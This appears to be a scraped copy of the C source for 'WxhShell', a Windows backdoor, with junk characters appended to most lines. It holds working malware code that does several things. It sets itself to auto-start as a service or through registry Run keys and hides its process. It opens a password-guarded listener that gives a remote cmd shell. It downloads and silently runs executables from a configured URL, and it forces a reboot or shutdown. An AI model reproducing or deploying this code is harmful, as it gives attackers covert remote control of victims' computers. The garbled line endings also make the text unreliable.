    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:!FQ'/7E  
    else { Nc[[o>/Cb  
    closesocket(wsh); @zAav>  
    ExitThread(0); $C`YVv%?0  
    } O cJ(i#Q~<  
    break; Ry4`Q$=:  
    } 3iv;4e ;  
  // 获取shell v]e6CZwo  
  case 's': { }S}9Pm,:  
    CmdShell(wsh); Mi2l BEu,  
    closesocket(wsh); uZkh.0yB  
    ExitThread(0); _MST8  
    break; PR;A 0   
  } )]P%=  
  // 退出 04P!l  
  case 'x': { 3Q_L6Wj~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '?j,oRz^T  
    CloseIt(wsh); ,G%?}TfC)  
    break; -:NFF'  
    } |"o/GUI~  
  // 离开 Ld$e  -dB  
  case 'q': { 3*;S%1C^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); L"ob ))GF  
    closesocket(wsh); +y\mlfJ.-b  
    WSACleanup(); Y.}8lh eH  
    exit(1); q:X&)f  
    break; 3tAX4DnYrq  
        } MaQ`7U5 |e  
  } v''F\V )  
  } /FW{>N1   
U5pg<xI  
  // 提示信息 G'0]m-)dw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U?sio%`(  
} JtGBNz!"  
  } z4iZE*ZS  
RY9h^q*  
  return; FNB4YZ6  
} VT~jgsY  
~L ufHbr  
// shell模块句柄 , \ 6*fXc  
int CmdShell(SOCKET sock) [7*$Sd  
{ 4E~!$Ustx  
STARTUPINFO si; 04wO9L;  
ZeroMemory(&si,sizeof(si)); 1 wB2:o<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HA W57N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xXn2M*g  
PROCESS_INFORMATION ProcessInfo; P K9BowlW  
char cmdline[]="cmd"; Ki{]5Rz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'H.,S_v1x  
  return 0; $9m>(b/;n  
} ^s[OvJb  
$TR#-q  
// 自身启动模式 V-.Nc#  
int StartFromService(void) D8,V'n>L  
{ d-BUdIz  
typedef struct OZed+t=  
{ [Adkj  
  DWORD ExitStatus; 9m:G8j'  
  DWORD PebBaseAddress; 6i.!C5YX]  
  DWORD AffinityMask; =abBD   
  DWORD BasePriority; zy!mP  
  ULONG UniqueProcessId; ;0 No@G;z  
  ULONG InheritedFromUniqueProcessId; DgiMMmpE  
}   PROCESS_BASIC_INFORMATION; qp)a`'Pq  
cJ#|mzup  
PROCNTQSIP NtQueryInformationProcess; hm+,o_+  
B9Y*'hmI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sm(t"#dp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F3 z:|sTqc  
"- XJZ;5  
  HANDLE             hProcess; NwB;9ZhZ  
  PROCESS_BASIC_INFORMATION pbi; ^ua8Ya  
2\, h "W(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lhRo+X#G  
  if(NULL == hInst ) return 0; w=MiJr#3^  
Q@HW`@i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8M9}os  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wdzZ41y1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y]-7T-*+t  
+rcDA|  
  if (!NtQueryInformationProcess) return 0; UxS@]YC  
5^+QTQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (iO8[  
  if(!hProcess) return 0; 9u2Mra  
c[RkiV3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _(.,<R5  
oM4Q_An  
  CloseHandle(hProcess); >L{s[pLJ  
_}RzJKl@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =i:6&Y~VGq  
if(hProcess==NULL) return 0; e"]*^Q  
UI}df<Ge  
HMODULE hMod; ~|t 7  
char procName[255]; ^N`bA8  
unsigned long cbNeeded; ZlxJY%o eu  
s1| +LT ,D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r"uOf;m  
X5`#da  
  CloseHandle(hProcess); 9u&q{I  
_J+p[=[L  
if(strstr(procName,"services")) return 1; // 以服务启动 Q $5U5hb  
~DJ>)pp  
  return 0; // 注册表启动 6}aH>(3!A  
} B]-~hP  
)of?!>'S[  
// 主模块 tbr1mw'G  
int StartWxhshell(LPSTR lpCmdLine) G*x"drP  
{ 6;8Jy  
  SOCKET wsl; z/&2Se:  
BOOL val=TRUE; @ a?^2X^  
  int port=0; 2A^>>Q/,u  
  struct sockaddr_in door; \vR&-+8dk  
/y~ "n4CK~  
  if(wscfg.ws_autoins) Install(); )QO"1#zg@c  
3xU in  
port=atoi(lpCmdLine); f3u^:6U~  
M*x1{g C/  
if(port<=0) port=wscfg.ws_port; Ous_269cM  
PIxd'B*MF  
  WSADATA data; A,4|UA?-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {vL4:K  
6I yD7PQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sMhUVc4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b9(_bsc  
  door.sin_family = AF_INET; q=H dGv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9N kr=/I"P  
  door.sin_port = htons(port); q\fZ Q  
Vs0T*4C=n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5u=(zg  
closesocket(wsl); ?%Pd:~4D  
return 1; lNw8eT~2  
} D:yj#&I  
(E.,kcAJ  
  if(listen(wsl,2) == INVALID_SOCKET) { OE4hG xG  
closesocket(wsl); SK @%r  
return 1; Cb5Rr +K=  
} C ~&~Ano,  
  Wxhshell(wsl); wgeR%#DW  
  WSACleanup(); L9G xqw  
OE=]/([  
return 0; D$wl.r  
tAM t7p-  
} ~H)s>6>#v  
ygA~d9"  
// 以NT服务方式启动 WHM|kt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N7b+GqYpF>  
{ e{<r<]/j  
DWORD   status = 0; +v7mw<6s  
  DWORD   specificError = 0xfffffff; fA k]]PU  
#_b U/rk)*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nhm)P_p   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? V0!N;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y]veqa  
  serviceStatus.dwWin32ExitCode     = 0; 3wQUNv0z  
  serviceStatus.dwServiceSpecificExitCode = 0; os3jpFeG'  
  serviceStatus.dwCheckPoint       = 0; jBO/1h=  
  serviceStatus.dwWaitHint       = 0; ,+gU^dc|hq  
D V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !ibdw_H  
  if (hServiceStatusHandle==0) return; N`JkEd7TT  
%%dQIlF  
status = GetLastError(); aU)NbESu  
  if (status!=NO_ERROR) ZB5:FtW4  
{ ky^p\dMh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =@%Ukrd@  
    serviceStatus.dwCheckPoint       = 0; #Oeb3U  
    serviceStatus.dwWaitHint       = 0; k[`9RGT  
    serviceStatus.dwWin32ExitCode     = status; W8$ky[2R  
    serviceStatus.dwServiceSpecificExitCode = specificError; k\qF> =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )M!6y%b67  
    return; :U}.  
  } :&{:$-h!  
`|Wu\X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [vJLj>@  
  serviceStatus.dwCheckPoint       = 0; I)B+h8l72<  
  serviceStatus.dwWaitHint       = 0; ][jW2;A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l=*60Ag\J~  
} a%"27 n(M  
!\DlX |  
// 处理NT服务事件,比如:启动、停止 i Sm .E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M$9?{8m  
{ m~#f L  
switch(fdwControl) IsC`r7  
{ +p%!G1Yz  
case SERVICE_CONTROL_STOP: ;_HG 5}i  
  serviceStatus.dwWin32ExitCode = 0; J*nQ(*e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R8*z}xy{  
  serviceStatus.dwCheckPoint   = 0; " aEk#W  
  serviceStatus.dwWaitHint     = 0; G=.vo3  
  { /s'7[bSv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) H'SU_YU  
  } $E j;CN59  
  return; $mV1K)ege  
case SERVICE_CONTROL_PAUSE: 907N;r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q$|Wxnz  
  break; vSOO[.=  
case SERVICE_CONTROL_CONTINUE: NM`5hd{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :oYz=c  
  break; -/y]'_a  
case SERVICE_CONTROL_INTERROGATE: v `a:Lj  
  break; P0B`H7D  
}; _\d[`7#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )tq&l>0h  
} ,u:J"epM  
&tAhRMa  
// 标准应用程序主函数 <K(qv^C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t+ ,'  
{ Qcy /)4Hfg  
@Nm;lZK  
// 获取操作系统版本 kXfTNMb  
OsIsNt=GetOsVer(); ] WsQ=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]~Su  
Cj,Yy  
  // 从命令行安装 d'oh-dj %^  
  if(strpbrk(lpCmdLine,"iI")) Install(); s#8mD !T|  
pdz_qj!Z  
  // 下载执行文件 5a`f % h%  
if(wscfg.ws_downexe) { hnk,U:7}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ji|+E`Nii  
  WinExec(wscfg.ws_filenam,SW_HIDE); _6tir'z  
} H'Oy._,]t  
)}/ ycTs  
if(!OsIsNt) { EDl*UG83G  
// 如果时win9x,隐藏进程并且设置为注册表启动 + Z7 L&BI  
HideProc(); ,[} XK9  
StartWxhshell(lpCmdLine); R;G"LT  
} %M=Ob k  
else P?#I9y7iP  
  if(StartFromService()) va`/Dp)M  
  // 以服务方式启动 B"@3Qav3  
  StartServiceCtrlDispatcher(DispatchTable); tRl01&0S  
else TbUouoc  
  // 普通方式启动 Qb.Ve7c  
  StartWxhshell(lpCmdLine); H n^)Xw  
*&=sL  
return 0; u . xUM  
} !a.|URa7  
wjVmK  
(R9{wGV [  
l"{1v ~I  
=========================================== V!{}%;f  
fj7\MTy  
K+s@.D9J  
SU,#:s(  
~$WBcqo  
c\J?J>xz  
" ?ufX3yia  
!LunoC>B  
#include <stdio.h> +nz6+{li\  
#include <string.h> R7nT,7k.  
#include <windows.h>  1?oX"  
#include <winsock2.h> `X:o]t@  
#include <winsvc.h> } xy>uT  
#include <urlmon.h> FQ3{~05T  
|[ )e5Xhd  
#pragma comment (lib, "Ws2_32.lib") b-`=^ny)K  
#pragma comment (lib, "urlmon.lib") ma gZmY~  
 [f1'Qb  
#define MAX_USER   100 // 最大客户端连接数 Fv<^\q  
#define BUF_SOCK   200 // sock buffer Fx3CY W  
#define KEY_BUFF   255 // 输入 buffer F3%8E<QZd;  
_K4E6c_  
#define REBOOT     0   // 重启 7xhBdi[ dQ  
#define SHUTDOWN   1   // 关机 ,Vc>'4E-  
o#^(mGj_.  
#define DEF_PORT   5000 // 监听端口 Bh#?:h&f  
*\n-yx]  
#define REG_LEN     16   // 注册表键长度 h:4Uv}Z  
#define SVC_LEN     80   // NT服务名长度 ~ \{a<-R  
YV{^2)^  
// 从dll定义API WLy%| {/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R [[ #r5q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]RvFn~E!s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $$5E+UDOs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ik\n/EE  
+D@+j  
// wxhshell配置信息 S.I3m-  
struct WSCFG { oy _DYop  
  int ws_port;         // 监听端口 <27:O,I  
  char ws_passstr[REG_LEN]; // 口令 .:b&$~<  
  int ws_autoins;       // 安装标记, 1=yes 0=no  Fhk 8  
  char ws_regname[REG_LEN]; // 注册表键名 >iKbn  
  char ws_svcname[REG_LEN]; // 服务名 O 7Z?y*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nueb xd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UG!528;7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 , S }  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R/O>^s!Co  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UA8*8%v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F YLBaN  
UyUz_6J  
}; +wHrS}I#g  
%3:[0o={d  
// default Wxhshell configuration J-k/#A4o  
struct WSCFG wscfg={DEF_PORT, K!+IRA@  
    "xuhuanlingzhe", 8E+]yB"  
    1, moOc G3=9  
    "Wxhshell", vT&) 5nN  
    "Wxhshell", 4%GwCEnS  
            "WxhShell Service", 2LTMt?  
    "Wrsky Windows CmdShell Service", L%CBz]`  
    "Please Input Your Password: ", j1141md 5  
  1, :f/T $fa*  
  "http://www.wrsky.com/wxhshell.exe", |c)hyw?[Y  
  "Wxhshell.exe" 0^-1/Ec  
    }; okkMx"  
HPus/#j'+  
// 消息定义模块 C]bre^q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eJvNUBDSH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XzD+#+By  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q`B K R]/  
char *msg_ws_ext="\n\rExit."; mWP1mc:M(  
char *msg_ws_end="\n\rQuit."; uE]Z,`e  
char *msg_ws_boot="\n\rReboot..."; * q$O6B-  
char *msg_ws_poff="\n\rShutdown..."; &<>NP?j}  
char *msg_ws_down="\n\rSave to "; XZ&cTjNB&  
^aONuG9  
char *msg_ws_err="\n\rErr!"; }ZKG-~  
char *msg_ws_ok="\n\rOK!"; ? koIZ  
k0(_0o  
char ExeFile[MAX_PATH]; ;_oJGII?br  
int nUser = 0; i>aIuQ`pe  
HANDLE handles[MAX_USER]; 5{Oq* |  
int OsIsNt; wR%F>[ 6.{  
DCheG7lo{  
SERVICE_STATUS       serviceStatus; s$wIL//=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;]PP +h  
v(`9+*  
// 函数声明 1Uaj}= @M  
int Install(void); ; "K"S[  
int Uninstall(void); sq45fRAi  
int DownloadFile(char *sURL, SOCKET wsh); !K%8tr4   
int Boot(int flag); [a[.tR38e  
void HideProc(void); b$JrLZs$_  
int GetOsVer(void); 6>Z)w}x^  
int Wxhshell(SOCKET wsl); N87)rhXSo,  
void TalkWithClient(void *cs); ;ipT0*Y  
int CmdShell(SOCKET sock); #WlTE&  
int StartFromService(void); nSr_sD6"  
int StartWxhshell(LPSTR lpCmdLine); 6g-Q  
>At* jg48  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @d1YN]ede  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3Jh!YzI8  
>|1$Pv?  
// 数据结构和表定义 r?$ V;Z  
SERVICE_TABLE_ENTRY DispatchTable[] = QnTKo&|9  
{ 4Nl3"@<$  
{wscfg.ws_svcname, NTServiceMain}, "sUjJ|  
{NULL, NULL} dZ,IXA yB  
}; wsEOcaie  
Tv6HPD$[  
// 自我安装 oWb\T 2!m  
int Install(void) 2/>u8j  
{ F.cKg~E|e  
  char svExeFile[MAX_PATH]; V=de3k&p  
  HKEY key; ]k# iA9I  
  strcpy(svExeFile,ExeFile); eD,'M  
o6/"IIso3  
// 如果是win9x系统,修改注册表设为自启动 <5]ufv  
if(!OsIsNt) { M3 &GO5<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L6 IIk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =fcM2O#$  
  RegCloseKey(key); v vzPt.ag  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xx+eGV";`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ( &!RX.i  
  RegCloseKey(key); Ial"nV0>0  
  return 0; wM1&_%N  
    } \&MJ(F>vJ  
  } `Fx+HIng,  
} H#/Hs#  
else { ;-Ki`x.oJ  
Jq*Q;}n  
// 如果是NT以上系统,安装为系统服务 wA2^ I70-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7ND4Booul  
if (schSCManager!=0) L-DL)8;`  
{ r7jh)Q;BbR  
  SC_HANDLE schService = CreateService GCj[ySCD  
  ( Gq]/6igzX  
  schSCManager, yXT.]%)  
  wscfg.ws_svcname, }B ?_>0  
  wscfg.ws_svcdisp, I|<`Er-;58  
  SERVICE_ALL_ACCESS, Nil nS!BM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \gFV6 H?`  
  SERVICE_AUTO_START, 3jx/1VV  
  SERVICE_ERROR_NORMAL, }1EtM/Ni{!  
  svExeFile, HJ_8 `( '  
  NULL,  "SA*  
  NULL, ?3y>K!D(A  
  NULL, ]NyN@9u@(  
  NULL,  c+upoM  
  NULL MG,)|XpyWJ  
  ); ZV ;~IaBL  
  if (schService!=0) qH4+i STnV  
  { t"nxny9&  
  CloseServiceHandle(schService); 7nPjeh  
  CloseServiceHandle(schSCManager); va2FgW`Bd+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jct'B}@X(  
  strcat(svExeFile,wscfg.ws_svcname); J -z <&9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6>gm!6`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3Dx@rW\  
  RegCloseKey(key); ( TJGJY  
  return 0; 9Cs/B*3)b  
    } g=$nNQ \6=  
  } 1T}jK^"  
  CloseServiceHandle(schSCManager); NpH9}, 1i  
} 2 b80b50  
} %)w7t[A2D  
:7?n)=Tx  
return 1; H5(: 1  
} ](^FGz  
zm mkmTp  
// 自我卸载 }ag;yf;  
int Uninstall(void) Gc_KS'K@$  
{ AO,^v+ $  
  HKEY key; vty:@?3\  
.cz7jD  
if(!OsIsNt) { wpD}#LRfm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eExI3"|Q  
  RegDeleteValue(key,wscfg.ws_regname); x^Zm:Jrw~  
  RegCloseKey(key); 48_( 'z*>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kkIG{Bw  
  RegDeleteValue(key,wscfg.ws_regname); x~ID[  
  RegCloseKey(key); AquO#A[,#  
  return 0; <m,bP c :R  
  } = \M6s  
} n?QglN  
} p_i',5H(  
else { = &^tfD  
7AF6aog  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +k V$ @qH  
if (schSCManager!=0) )"J1ET,z  
{ uFuP%f!yY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !p Q*m`Xo  
  if (schService!=0) 9&zQ 5L>  
  { sJMpF8   
  if(DeleteService(schService)!=0) { Wf~PP;  
  CloseServiceHandle(schService); VAp 1{  
  CloseServiceHandle(schSCManager); j_.tg7X  
  return 0; aTkMg  
  } CIVV"p`}  
  CloseServiceHandle(schService); oA8A @,-L  
  } h!`KX2~  
  CloseServiceHandle(schSCManager); P?@o?  
} p) ?6~\F:  
} Js(MzL  
)"]( ?V  
return 1; Mp(;PbVD  
} ';m;K (g  
:o:Z   
// 从指定url下载文件 1.5R`vKn]  
int DownloadFile(char *sURL, SOCKET wsh) :jJ0 +Q  
{ ,u9 >c*Ss\  
  HRESULT hr; Z`#XB2,  
char seps[]= "/"; <B'PB"R3y  
char *token; +U iJWO  
char *file; = toU?:.  
char myURL[MAX_PATH]; 2J (nJT"  
char myFILE[MAX_PATH]; 8Y_lQfJa  
fNV-_^,R9  
strcpy(myURL,sURL); *;l[|  
  token=strtok(myURL,seps); )2 b-3lz  
  while(token!=NULL) So= BcX-  
  { vGOO"r(xL  
    file=token; j8%Y[:~D  
  token=strtok(NULL,seps); nUK;M[  
  } ?@<Tzk]a.  
*J{E1])<a  
GetCurrentDirectory(MAX_PATH,myFILE); & x$ps  
strcat(myFILE, "\\"); [ ~kS)  
strcat(myFILE, file); 6Ilj7m*  
  send(wsh,myFILE,strlen(myFILE),0); 4wWfaL5"  
send(wsh,"...",3,0); e'p"gX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7eW6$$ju,N  
  if(hr==S_OK) C}ASVywc,1  
return 0; Qjd]BX;  
else rxj#  
return 1; ND/oKM+?  
h gu\~}kD  
} wYDdy gS  
?X Rl\V  
// 系统电源模块 !}sF#  
int Boot(int flag) Oc-ia)v1G  
{ T-]UAN"O  
  HANDLE hToken; )P,pW?h$  
  TOKEN_PRIVILEGES tkp; cM\BEh h  
mex@~VK  
  if(OsIsNt) { +:W?:\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t>x!CNb'C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WO6+r?0M2  
    tkp.PrivilegeCount = 1; 7I*rtc&Kb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o6:@j#b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wr~Qy4 ny  
if(flag==REBOOT) { [Fv_~F491  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vQj{yJ\l1  
  return 0; &*oljGt8  
} q\<NW%KtX  
else { [ua[A;K  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $ab{GxmX'4  
  return 0; Sj IDzNI5  
} z2Z}mktP  
  } .EvP%A m  
  else { 93ggCOaYA  
if(flag==REBOOT) { c[$i )\0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )|#ExyRO  
  return 0; $.31<@T7  
} 'v=BAY=Ef  
else { ap,zC)[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vu&ny&=`  
  return 0; [^XD @  
} c` N_MP  
} G_5w5dbG  
+{}p(9w@  
return 1; [&l+Ve(  
} 4q(,uk&R[  
@Y<fj^]k  
// win9x进程隐藏模块 .-[]po  
void HideProc(void) 1#8~@CQ ::  
{ {Z1-B60P  
:a:m>S<~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +n)bWB%  
  if ( hKernel != NULL ) *}_i[6_\E  
  { WI.+9$1:P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Aym@G|k?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [E"3 ?p  
    FreeLibrary(hKernel); nFe  
  } (cI@#x  
{hm-0Q  
return; o{ccO29H/  
} P7REE_<1  
/ Xv@g$  
// 获取操作系统版本 2wgcVQ Awa  
int GetOsVer(void) "{d[V(lE"  
{ bjN"H`Q  
  OSVERSIONINFO winfo; 8ZJ6~~h  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z=< D`  
  GetVersionEx(&winfo); V343 IT\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (a~V<v"  
  return 1; Yp8XZ 3  
  else ,mKUCG  
  return 0; gKgdu($NJ  
} R;uP^  
*OHjw;xm+  
// 客户端句柄模块 &(jt|?{  
int Wxhshell(SOCKET wsl) ''k}3o.K[  
{ '*t<g@2$  
  SOCKET wsh; @V+KL>Qw  
  struct sockaddr_in client; Vg mYm~y'  
  DWORD myID; buWF6LFC  
xsrdHP1  
  while(nUser<MAX_USER) 2uMSeSx$  
{ A2Iqn5  
  int nSize=sizeof(client); mXM U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); KqNsCT+j  
  if(wsh==INVALID_SOCKET) return 1; z^y -A ?  
=,&{ &m)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %;J$ h^  
if(handles[nUser]==0) @v.?z2h  
  closesocket(wsh); dbF9%I@  
else h(^[WSa  
  nUser++; s8k4e6ak  
  } $]?M[sL\N7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JqEo~]E]  
"tj]mij2)G  
  return 0; L_!}R  
} SV^[)p )  
6*I=% H|  
// 关闭 socket (D\`:1g  
void CloseIt(SOCKET wsh) 1W9uWkk_d  
{ Yof ]  
closesocket(wsh); :K!L-*>A9  
nUser--; T'N/A9{q  
ExitThread(0); 4*UKR!sr  
} lnV!Xuf  
e C&!yY2g  
// 客户端请求句柄 K=dG-+B~}  
void TalkWithClient(void *cs) Cn>t"#zs!~  
{ |]?7r?=J9v  
xDmwiVy  
  SOCKET wsh=(SOCKET)cs; <,9rXjeRl  
  char pwd[SVC_LEN]; ETfoL.d$(  
  char cmd[KEY_BUFF]; kQrby\F(<  
char chr[1]; cOP%R_ak?  
int i,j; i^rHZmT  
5[^Rf'wy  
  while (nUser < MAX_USER) { mrlhj8W?!  
tpP68)<ns  
if(wscfg.ws_passstr) { 0rc'SEl  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jfZ)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _~!c%_  
  //ZeroMemory(pwd,KEY_BUFF); @rr\Jf""z  
      i=0; @~IZ%lEQsD  
  while(i<SVC_LEN) { BqOMg$<\[  
al4X}  
  // 设置超时 kB-<17  
  fd_set FdRead; gyC Xv0*z  
  struct timeval TimeOut; `,FhCT5  
  FD_ZERO(&FdRead); ''.\DC~K  
  FD_SET(wsh,&FdRead); QVD^p;b  
  TimeOut.tv_sec=8; %O>_$ 4q  
  TimeOut.tv_usec=0; Q?dzro4C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IY|>'}UU#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3[%n@i4H|  
.?r} 3Ch  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tCu9 D  
  pwd=chr[0]; D]K?ntS[*  
  if(chr[0]==0xd || chr[0]==0xa) { |1/?>=dDm  
  pwd=0; :A,7D(H|  
  break; I&5cUj{GX-  
  } SFRYX,0m  
  i++; kX:8sbZ##4  
    } ,go$ 6  
VQpwHzh  
  // 如果是非法用户,关闭 socket &GI'-i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i6E~]&~.v  
} Ia>~ph#]{`  
:) T#.(mR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wgZ6|)!0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /tqe:*  
$XrX(l5  
while(1) { Y,X0x-  
\~""<*Hz  
  ZeroMemory(cmd,KEY_BUFF); 8b+%:eJ  
!GoHCe[10  
      // 自动支持客户端 telnet标准   CrX1qyR  
  j=0; qkq^oHI  
  while(j<KEY_BUFF) { <;dFiI-GO#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ='HLA-uT  
  cmd[j]=chr[0]; Ewo6Q){X  
  if(chr[0]==0xa || chr[0]==0xd) { vH]2t.\  
  cmd[j]=0; v0+$d\mP4<  
  break; YU1z\pK  
  } m>'#664q1  
  j++; 8*(|uX  
    } 5+*CBG}  
2Vg+Aly4D  
  // 下载文件 kJ B u7  
  if(strstr(cmd,"http://")) { _;G|3>5u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IHe?/oUL"b  
  if(DownloadFile(cmd,wsh)) ]DI%7kw'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;vgaFc]  
  else \B8[UZA.&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2!}rH w  
  } rF . Oo0  
  else { t` zPx#])  
`w% Qs)2  
    switch(cmd[0]) { FdMTc(>  
